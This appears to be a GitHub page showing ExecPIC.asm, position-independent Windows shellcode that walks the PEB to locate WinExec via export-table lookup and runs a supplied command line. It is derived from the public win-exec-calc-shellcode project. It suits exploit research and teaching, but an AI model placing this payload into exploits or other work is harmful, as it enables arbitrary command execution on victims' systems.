-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathExecPIC.asm
83 lines (72 loc) · 1.77 KB
/
ExecPIC.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <[email protected]>
; and Peter Ferrie <[email protected]>
; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
; Modified by Odzhan to execute command lines
; Uses fastcall convention on both OS
%ifndef BIN
global $@WinExecPIC@8
global WinExecPIC
%endif
; for 64-bit upon entry, we assume stack is already
; aligned by 16 bytes. we save 4 registers, which
; is 32-bytes on 64-bit. we then need to allocate
; 32-bytes for homespace that WinExec might use.
; so 40 bytes is subtracted from stack pointer
; when call is made, stack will be aligned by 16 again
WinExecPIC:
$@WinExecPIC@8:
bits 32
push ebx
push esi
push edi
push ebp
sub esp, 28h
xor eax, eax
inc eax
xchg eax, edx
jz x64
mov ecx, [esp+60] ; cmd
push eax
push ecx
mov esi, [fs:edx+2fh]
mov esi, [esi+0ch]
mov esi, [esi+0ch]
lodsd
mov esi, [eax]
mov edi, [esi+18h]
mov dl, 50h
jmp lqe
bits 64
x64:
mov dl, 60h
mov rsi, [gs:rdx]
mov rsi, [rsi+18h]
mov rsi, [rsi+10h]
lodsq
mov rsi, [rax]
mov rdi, [rsi+30h]
lqe:
add edx, [rdi+3ch]
mov ebx, [rdi+rdx+28h]
mov esi, [rdi+rbx+20h]
add rsi, rdi
mov edx, [rdi+rbx+24h]
fwe:
movzx ebp, word [rdi+rdx]
lea rdx, [rdx+2]
lodsd
cmp dword [rdi+rax], 'WinE'
jne fwe
mov esi, [rdi+rbx+1ch]
add rsi, rdi
mov esi, [rsi+4*rbp]
add rdi, rsi
cdq
call rdi
add rsp, 28h
pop rbp
pop rdi
pop rsi
pop rbx
ret